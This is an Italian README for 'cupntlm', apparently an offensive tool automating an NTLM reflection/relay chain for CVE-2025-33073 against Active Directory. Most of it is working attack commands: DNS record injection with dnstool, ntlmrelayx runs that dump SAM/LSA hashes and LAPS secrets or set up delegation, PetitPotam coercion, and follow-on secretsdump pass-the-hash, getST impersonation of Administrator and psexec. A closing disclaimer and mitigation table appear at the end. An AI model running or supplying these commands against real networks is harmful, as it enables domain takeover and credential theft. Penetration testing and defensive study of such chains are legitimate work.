
cupntlm
CVE-2025-33073 — Bypass del Reflection NTLM tramite Coercizione DNS
Strumento di sfruttamento automatizzato per ambienti Active Directory.
cupntlm automatizza la catena di attacco NTLM reflection/relay che abusa di CVE-2025-33073. Combina l'iniezione di record DNS, la coercizione dell'autenticazione forzata (PetitPotam) e il relay NTLM in un unico flusso di lavoro. Lo strumento supporta due modalità operative a seconda dei requisiti di scope e di stealth.
Attacker Domain Controller Target Host
│ │ │
│── 1. Inject DNS record ───────▶│ │
│ (attacker IP as target) │ │
│ │ │
│── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
│ │ │
│◀─ 3. NTLM auth forwarded back ─────────────────────────────│
│ │ │
│── 4. Relay to DC ─────────────▶│ │
│ (ntlmrelayx) │ │
│ │ │
│◀─ 5. Shell / secretsdump / etc.│ │
Prerequisiti sulla rete di destinazione:
| Libreria | Installazione |
|---|---|
impacket | pip3 install impacket --break-system-packages |
colorama | pip3 install colorama --break-system-packages |
dnspython |
exploit/
├── cupntlm.py
├── ntlmrelayx.py # from impacket
├── dnstool.py # from krbrelayx
├── lib/ # krbrelayx support library
└── PetitPotam.py
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh
Verifica lo stato della firma SMB sui target e valida le credenziali di dominio prima di tentare qualsiasi operazione.
cd exploit
sudo python3 cupntlm.py check \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100
Crea un record DNS univoco per ogni target, attiva la coercizione uno alla volta e pulisce i record tra una iterazione e l'altra. Più lenta ma più precisa e lascia meno tracce.
sudo python3 cupntlm.py per-target \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
Inietta un singolo record DNS e mantiene ntlmrelayx in esecuzione continua mentre itera su tutti i target. Più veloce per scope ampi.
sudo python3 cupntlm.py single \
--targets targets.txt \
--domain lab.local \
--user pentester \
--pass 'P@ss' \
--dc-ip 10.0.0.1 \
--relay-ip 192.168.1.100 \
--loot loot.txt
192.168.1.10
192.168.1.11
192.168.1.12
I seguenti passaggi riproducono manualmente l'intera catena di attacco senza usare cupntlm.py. Utile per comprendere i primitive, il debug o l'adattamento ad ambienti non standard.
Identifica gli host in cui la firma SMB è disattivata. Questi sono i tuoi target validi per il relay.
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt
Oppure con nmap:
nmap -p 445 --script smb2-security-mode 192.168.1.0/24
Cerca:
Message signing enabled but not required ← valid relay target
Message signing enabled and required ← cannot relay here
Usa dnstool.py per aggiungere un record A nel DNS del dominio che punti un hostname alla tua macchina. Quando un target risolve questo hostname e si autentica, la richiesta arriva al tuo listener di relay.
cd exploit/
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action add \
--record 'attacker-relay' \
--data 192.168.45.200 \ # your attacker IP
--type A \
10.0.0.1 # DC IP
Verifica che il record sia stato aggiunto:
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action query \
--record 'attacker-relay' \
10.0.0.1
Avvia ntlmrelayx.py prima di attivare la coercizione. Resta in ascolto in attesa dell'autenticazione in ingresso.
Relay a SMB — dump di SAM/LSA:
sudo python3 ntlmrelayx.py \
-t smb://192.168.1.100 \
-smb2support \
--no-http-server
Relay a LDAP — creazione di un nuovo account macchina (per RBCD / shadow credentials):
sudo python3 ntlmrelayx.py \
-t ldap://10.0.0.1 \
--delegate-access \
--no-smb-server \
--no-http-server
Relay a LDAPS — dump dei segreti di dominio:
sudo python3 ntlmrelayx.py \
-t ldaps://10.0.0.1 \
--dump-laps \
--no-smb-server \
--no-http-server
Attiva l'autenticazione in uscita della macchina target verso il tuo record DNS iniettato. PetitPotam abusa dell'interfaccia MS-EFSRPC — nessuna credenziale richiesta sugli host non patchati, oppure usa credenziali valide per quelli patchati.
Non autenticato (target non patchato):
python3 PetitPotam.py \
[dnsname] \ # your listener IP (matches DNS record)
192.168.1.50 # target host to coerce
Autenticato (target patchato, servono credenziali valide):
python3 PetitPotam.py \
-u pentester \
-p 'P@ss' \
-d lab.local \
[dnsname] \
192.168.1.50
A questo punto, l'host sottoposto a coercizione invia la sua autenticazione NTLM alla tua macchina → ntlmrelayx la intercetta e la rilancia.
A seconda del target di relay scelto nel Passo 3:
<hostname>_samhashes.txt / _lsahashes.txtgetST.py per un ticket di servizioRimuovi sempre i record DNS iniettati dopo l'engagement.
python3 dnstool.py \
-u "lab.local\\pentester" \
-p 'P@ss' \
--action remove \
--record 'attacker-relay' \
--data 192.168.45.200 \
--type A \
10.0.0.1
Pass-the-hash con un account macchina rilayato:
impacket-secretsdump \
'lab.local/MACHINE$'@10.0.0.1 \
-hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>
Ottenere un ticket di servizio per S4U2Self (dopo RBCD):
impacket-getST \
-spn cifs/TARGET.lab.local \
-impersonate Administrator \
'lab.local/ATTACKERMACHINE$:password'
Usare il ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local
| Controllo | Effetto |
|---|
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza.
Non utilizzarlo contro sistemi per i quali non hai esplicita autorizzazione scritta a testare.
| Strumento | Scopo |
|---|
python3 | Runtime |
pip3 | Gestore pacchetti Python |
git | Clonazione delle dipendenze |
wget | Download dei file |
nmap | Enumerazione firma SMB |
netexec / crackmapexec | Verifica firma SMB (opzionale) |
pip3 install dnspython --break-system-packages| Abilitare la firma SMB (richiesta) su tutti gli host | Interrompe il relay verso SMB |
| Abilitare la firma LDAP + il binding del canale | Interrompe il relay verso LDAP/LDAPS |
| Patchare MS-EFSRPC (KB5005413) | Blocca PetitPotam non autenticato |
| Limitare la creazione di record DNS agli amministratori | Blocca il passaggio di iniezione DNS |
| Disabilitare l'autenticazione di rete NTLM (preferire Kerberos) | Elimina l'intera classe di attacchi |